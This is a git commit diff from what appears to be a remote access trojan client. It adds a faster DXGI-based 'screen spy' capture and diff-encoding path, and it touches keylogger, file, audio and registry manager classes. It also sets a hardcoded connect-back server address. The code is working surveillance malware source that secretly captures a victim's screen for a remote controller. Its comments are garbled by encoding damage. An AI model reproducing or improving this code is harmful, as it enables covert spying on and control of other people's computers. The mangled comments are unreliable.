Improve screen spy efficiency with DXGI

This commit is contained in:
yuanyuanxiang
2025-03-13 23:34:33 +08:00
parent 0d6d171909
commit 7bcf11ce0a
44 changed files with 752 additions and 232 deletions

View File

@@ -15,7 +15,7 @@ using namespace std;
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
Mprintf("new CAudioManager %p\n", this);

View File

@@ -18,7 +18,7 @@ class CAudioManager : public CManager
public:
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL Initialize();
CAudioManager(IOCPClient* ClientObject, int n);
CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr);
virtual ~CAudioManager();
BOOL m_bIsWorking;
HANDLE m_hWorkThread;

View File

@@ -20,7 +20,7 @@ using namespace std;
#define REG_NAME "a_ghost"
// Զ<>̵<EFBFBD>ַ
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0, CLIENT_TYPE_ONE};
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", 6543, CLIENT_TYPE_ONE};
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL g_bExit = 0;

View File

@@ -200,6 +200,8 @@
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />

View File

@@ -56,7 +56,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
IOCPClient *ClientObject = pInfo->p;
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
{
Manager m(ClientObject, n);
Manager m(ClientObject, n, pInfo->user);
ClientObject->RunEventLoop(pInfo->run);
}
delete ClientObject;

View File

@@ -9,6 +9,9 @@
#pragma once
#endif // _MSC_VER > 1000
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define MAX_CURSOR_TYPE 16
class CCursorInfo

View File

@@ -14,7 +14,7 @@ typedef struct
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFileManager::CFileManager(CClientSocket *pClient, int h):CManager(pClient)
CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient)
{
m_nTransferMode = TRANSFER_MODE_NORMAL;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>

View File

@@ -30,7 +30,7 @@ class CFileManager : public CManager
public:
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(CClientSocket *pClient, int h = 0);
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
virtual ~CFileManager();
private:
list <string> m_UploadList;

View File

@@ -6,7 +6,7 @@
#include "IOCPClient.h"
#include <IOSTREAM>
#if USING_ZLIB
#include "zlib.h"
#include "zlib/zlib.h"
#define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else

View File

@@ -177,6 +177,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SCREEN_SPY:
{
m_hThread[m_ulThreadCount].user = ulLength > 1 ? (void*)(szBuffer[1]) : NULL;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopScreenManager,
&m_hThread[m_ulThreadCount], 0, NULL);;

View File

@@ -20,7 +20,8 @@ struct ThreadInfo
BOOL run;
HANDLE h;
IOCPClient *p;
ThreadInfo() : run(TRUE), h(NULL), p(NULL){ }
void* user;
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr){ }
};
class CKernelManager : public CManager

View File

@@ -16,7 +16,7 @@ using namespace std;
#define FILE_PATH "\\MODIf.html"
#define CAPTION_SIZE 1024
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n) : CManager(pClient)
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
{
sendStartKeyBoard();
WaitForDialogOpen();

View File

@@ -14,7 +14,7 @@
class CKeyboardManager1 : public CManager
{
public:
CKeyboardManager1(CClientSocket *pClient, int n=0);
CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr);
virtual ~CKeyboardManager1();
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
static DWORD WINAPI KeyLogger(LPVOID lparam);

View File

@@ -11,7 +11,7 @@ using namespace std;
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken=TOKEN_REGEDIT;
m_ClientObject->OnServerSending((char*)&bToken, 1);

View File

@@ -15,7 +15,7 @@
class CRegisterManager : public CManager
{
public:
CRegisterManager(IOCPClient* ClientObject, int n);
CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CRegisterManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID Find(char bToken, char *szPath);

332
client/ScreenCapture.h Normal file
View File

@@ -0,0 +1,332 @@
#pragma once
#include "stdafx.h"
#include <assert.h>
#include "CursorInfo.h"
#include "../common/commands.h"
#define DEFAULT_GOP 0x7FFFFFFF
#include <vector>
#include <queue>
#include <thread>
#include <mutex>
#include <condition_variable>
#include <functional>
#include <future>
class ThreadPool {
public:
// <20><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̶<EFBFBD><CCB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
ThreadPool(size_t numThreads) : stop(false) {
for (size_t i = 0; i < numThreads; ++i) {
workers.emplace_back([this] {
while (true) {
std::function<void()> task;
{
std::unique_lock<std::mutex> lock(this->queueMutex);
this->condition.wait(lock, [this] { return this->stop || !this->tasks.empty(); });
if (this->stop && this->tasks.empty()) return;
task = std::move(this->tasks.front());
this->tasks.pop();
}
try {
task();
}
catch (...) {
// <20><><EFBFBD><EFBFBD><EFBFBD>
}
}
});
}
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̳߳<DFB3>
~ThreadPool() {
{
std::unique_lock<std::mutex> lock(queueMutex);
stop = true;
}
condition.notify_all();
for (std::thread& worker : workers)
worker.join();
}
// <20><><EFBFBD><EFBFBD><EFBFBD>
template<typename F>
auto enqueue(F&& f) -> std::future<decltype(f())> {
using ReturnType = decltype(f());
auto task = std::make_shared<std::packaged_task<ReturnType()>>(std::forward<F>(f));
std::future<ReturnType> res = task->get_future();
{
std::unique_lock<std::mutex> lock(queueMutex);
tasks.emplace([task]() { (*task)(); });
}
condition.notify_one();
return res;
}
void waitAll() {
std::unique_lock<std::mutex> lock(queueMutex);
condition.wait(lock, [this] { return tasks.empty(); });
}
private:
std::vector<std::thread> workers;
std::queue<std::function<void()>> tasks;
std::mutex queueMutex;
std::condition_variable condition;
std::atomic<bool> stop;
};
class ScreenCapture
{
public:
ThreadPool* m_ThreadPool; // <20>̳߳<DFB3>
BYTE* m_FirstBuffer; // <20><>һ֡<D2BB><D6A1><EFBFBD><EFBFBD>
BYTE* m_RectBuffer; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
bool m_SendKeyFrame; // <20><><EFBFBD>͹ؼ<CDB9>֡
ScreenCapture() : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF),
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false){
m_BlockNum = 8;
m_ThreadPool = new ThreadPool(m_BlockNum);
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>׼
//<2F><><EFBFBD><EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
DEVMODE devmode;
memset(&devmode, 0, sizeof(devmode));
devmode.dmSize = sizeof(DEVMODE);
devmode.dmDriverExtra = 0;
BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode);
m_ulFullWidth = devmode.dmPelsWidth;
m_ulFullHeight = devmode.dmPelsHeight;
int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN);
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom;
m_BlockBuffers = new LPBYTE[m_BlockNum];
m_BlockSizes = new ULONG[m_BlockNum];
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
}
}
virtual ~ScreenCapture(){
if (m_BitmapInfor_Full != NULL) {
delete[](char*)m_BitmapInfor_Full;
m_BitmapInfor_Full = NULL;
}
SAFE_DELETE_ARRAY(m_RectBuffer);
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
SAFE_DELETE_ARRAY(m_BlockBuffers[blockY]);
}
SAFE_DELETE_ARRAY(m_BlockBuffers);
SAFE_DELETE_ARRAY(m_BlockSizes);
SAFE_DELETE(m_ThreadPool);
}
public:
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
DWORD ulCompareLength, BYTE algo, int startPostion = 0) {
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
LPBYTE p = szBuffer;
ULONG channel = algo == ALGORITHM_GRAY ? 1 : 4;
ULONG ratio = algo == ALGORITHM_GRAY ? 4 : 1;
for (ULONG i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) {
if (*p1 == *p2)
continue;
ULONG index = i;
LPDWORD pos1 = p1++, pos2 = p2++;
// <20><><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ͬ
for (i += 4; i < ulCompareLength && *p1 != *p2; i += 4, ++p1, ++p2);
ULONG ulCount = i - index;
memcpy(pos1, pos2, ulCount); // <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*(LPDWORD)(p) = index + startPostion;
*(LPDWORD)(p + sizeof(ULONG)) = ulCount / ratio;
p += 2 * sizeof(ULONG);
if (channel != 1) {
memcpy(p, pos2, ulCount);
p += ulCount;
}
else {
for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
LPBYTE src = (LPBYTE)pos2;
*p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
}
}
}
return p - szBuffer;
}
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
ULONG MultiCompareBitmap(LPBYTE srcData, LPBYTE dstData, LPBYTE szBuffer,
DWORD ulCompareLength, BYTE algo) {
int N = m_BlockNum;
ULONG blockLength = ulCompareLength / N; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
ULONG remainingLength = ulCompareLength % N; // ʣ<><CAA3><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
std::vector<std::future<ULONG>> futures;
for (int blockY = 0; blockY < N; ++blockY) {
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
ULONG currentBlockLength = blockLength + (blockY == N - 1 ? remainingLength : 0);
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼλ<CABC><CEBB>
ULONG startPosition = blockY * blockLength;
futures.emplace_back(m_ThreadPool->enqueue([=]() -> ULONG {
LPBYTE srcBlock = srcData + startPosition;
LPBYTE dstBlock = dstData + startPosition;
LPBYTE blockBuffer = m_BlockBuffers[blockY];
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>񲢷<EFBFBD><F1B2A2B7>رȶ<D8B1><C8B6><EFBFBD><EFBFBD>ݴ<EFBFBD>С
return m_BlockSizes[blockY] = CompareBitmap(srcBlock, dstBlock, blockBuffer, currentBlockLength, algo, startPosition);
}));
}
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɲ<EFBFBD><C9B2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ֵ
for (auto& future : futures) {
future.get();
}
// <20>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD>п<EFBFBD><D0BF>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2> szBuffer
ULONG offset = 0;
for (int blockY = 0; blockY < N; ++blockY) {
memcpy(szBuffer + offset, m_BlockBuffers[blockY], m_BlockSizes[blockY]);
offset += m_BlockSizes[blockY];
}
return offset; // <20><><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
}
virtual int GetFrameID() const {
return m_FrameID;
}
virtual LPBYTE GetFirstBuffer() const {
return m_FirstBuffer;
}
virtual int GetBMPSize() const {
assert(m_BitmapInfor_Full);
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
BYTE algo = m_bAlgorithm;
int frameID = m_FrameID + 1;
bool keyFrame = (frameID % m_GOP == 0);
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
LPBYTE data = m_RectBuffer + 1;
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos;
GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
static CCursorInfo m_CursorInfor;
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
memcpy(data + sizeof(BYTE) + sizeof(POINT), &bCursorIndex, sizeof(BYTE));
ULONG offset = sizeof(BYTE) + sizeof(POINT) + sizeof(BYTE);
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
LPBYTE nextData = ScanNextScreen();
if (nullptr == nextData) {
return nullptr;
}
#if SCREENYSPY_IMPROVE
memcpy(data + offset, &++m_FrameID, sizeof(int));
offset += sizeof(int);
#if SCREENSPY_WRITE
WriteBitmap(m_BitmapInfor_Full, nextData, "GHOST", m_FrameID);
#endif
#else
m_FrameID++;
#endif
if (keyFrame)
{
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
if (algo != ALGORITHM_GRAY)
{
memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
}
else
{
LPBYTE dst = data + offset, src = nextData;
for (ULONG i = 0; i < m_BitmapInfor_Full->bmiHeader.biSizeImage; i += 4, dst += 4, src += 4) {
dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
}
}
memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
}
else {
*ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
}
return m_RectBuffer;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
virtual BYTE SetAlgorithm(int algo) {
BYTE oldAlgo = m_bAlgorithm;
m_bAlgorithm = algo;
return oldAlgo;
}
// <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>ת<EFBFBD><D7AA>
virtual void PointConversion(POINT& pt) const {
if (m_bZoomed) {
pt.x *= m_wZoom;
pt.y *= m_hZoom;
}
}
// <20><>ȡλͼ<CEBB><EFBFBD><E1B9B9>Ϣ
virtual const LPBITMAPINFO& GetBIData() const {
return m_BitmapInfor_Full;
}
public: // <20><><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) = 0;
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
virtual LPBYTE ScanNextScreen() = 0;
};

182
client/ScreenCapturerDXGI.h Normal file
View File

@@ -0,0 +1,182 @@
#pragma once
#include "stdafx.h"
#include "ScreenCapture.h"
#include "common/commands.h"
// ֻҪ<D6BB>㰲װ<E3B0B2><D7B0> Windows 8 SDK <20><><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0><E6B1BE> Windows SDK<44><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD> dxgi1_2.h <20><><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD> Windows 8 <20><><EFBFBD><EFBFBD><EFBFBD>°汾<C2B0><E6B1BE><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>
#include <dxgi1_2.h>
#include <d3d11.h>
#pragma comment(lib, "d3d11.lib")
// author: ChatGPT
// update: 962914132@qq.com
// DXGI 1.2<EFBFBD><EFBFBD>IDXGIOutputDuplication<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD>ͳ GDI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD> 3 <20><><EFBFBD><EFBFBD> 10 <20><>֮<EFBFBD><EFBFBD><E4A3AC><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ӳ<EFBFBD><D3B2><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʺ<EFBFBD>ʹ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>
class ScreenCapturerDXGI : public ScreenCapture {
private:
ID3D11Device* d3dDevice = nullptr;
ID3D11DeviceContext* d3dContext = nullptr;
IDXGIOutputDuplication* deskDupl = nullptr;
ID3D11Texture2D* cpuTexture = nullptr;
BYTE* m_NextBuffer = nullptr;
public:
ScreenCapturerDXGI(int gop = DEFAULT_GOP) : ScreenCapture() {
m_GOP = gop;
InitDXGI();
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
}
~ScreenCapturerDXGI() {
CleanupDXGI();
SAFE_DELETE_ARRAY(m_FirstBuffer);
SAFE_DELETE_ARRAY(m_NextBuffer);
SAFE_DELETE_ARRAY(m_RectBuffer);
}
void InitDXGI() {
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
// 2. <20><>ȡ DXGI <20>
IDXGIDevice* dxgiDevice = nullptr;
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
// 3. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IDXGIAdapter* dxgiAdapter = nullptr;
dxgiDevice->GetAdapter(&dxgiAdapter);
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
IDXGIOutput* dxgiOutput = nullptr;
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
IDXGIOutput1* dxgiOutput1 = nullptr;
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С
DXGI_OUTDUPL_DESC duplDesc;
deskDupl->GetDesc(&duplDesc);
m_ulFullWidth = duplDesc.ModeDesc.Width;
m_ulFullHeight = duplDesc.ModeDesc.Height;
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
D3D11_TEXTURE2D_DESC desc = {};
desc.Width = m_ulFullWidth;
desc.Height = m_ulFullHeight;
desc.MipLevels = 1;
desc.ArraySize = 1;
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
desc.SampleDesc.Count = 1;
desc.Usage = D3D11_USAGE_STAGING;
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
// 9. <20><>ʼ<EFBFBD><CABC> BITMAPINFO
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
// <20>ͷ<EFBFBD> DXGI <20><>Դ
dxgiOutput1->Release();
dxgiOutput->Release();
dxgiAdapter->Release();
dxgiDevice->Release();
}
void CleanupDXGI() {
if (cpuTexture) cpuTexture->Release();
if (deskDupl) deskDupl->Release();
if (d3dContext) d3dContext->Release();
if (d3dDevice) d3dDevice->Release();
}
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override {
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
if (ret)
return nullptr;
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
return m_FirstBuffer;
}
LPBYTE ScanNextScreen() override {
ULONG ulNextScreenLength = 0;
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
if (ret)
return nullptr;
return m_NextBuffer;
}
virtual LPBYTE GetFirstBuffer() const {
return m_FirstBuffer + 1;
}
private:
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes) {
// 1. <20><>ȡ<EFBFBD><C8A1>һ֡
IDXGIResource* desktopResource = nullptr;
DXGI_OUTDUPL_FRAME_INFO frameInfo;
HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
if (FAILED(hr)) {
return -1;
}
// 2. <20><>ȡ ID3D11Texture2D
ID3D11Texture2D* texture = nullptr;
hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
if (FAILED(hr)) {
deskDupl->ReleaseFrame();
return -2;
}
// 3. <20><><EFBFBD>Ƶ<EFBFBD> CPU <20><><EFBFBD><EFBFBD>
d3dContext->CopyResource(cpuTexture, texture);
// 4. <20>ͷ<EFBFBD> DXGI <20><>Դ
deskDupl->ReleaseFrame();
texture->Release();
desktopResource->Release();
// 5. <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
D3D11_MAPPED_SUBRESOURCE mapped;
hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped);
if (FAILED(hr)) {
return -3;
}
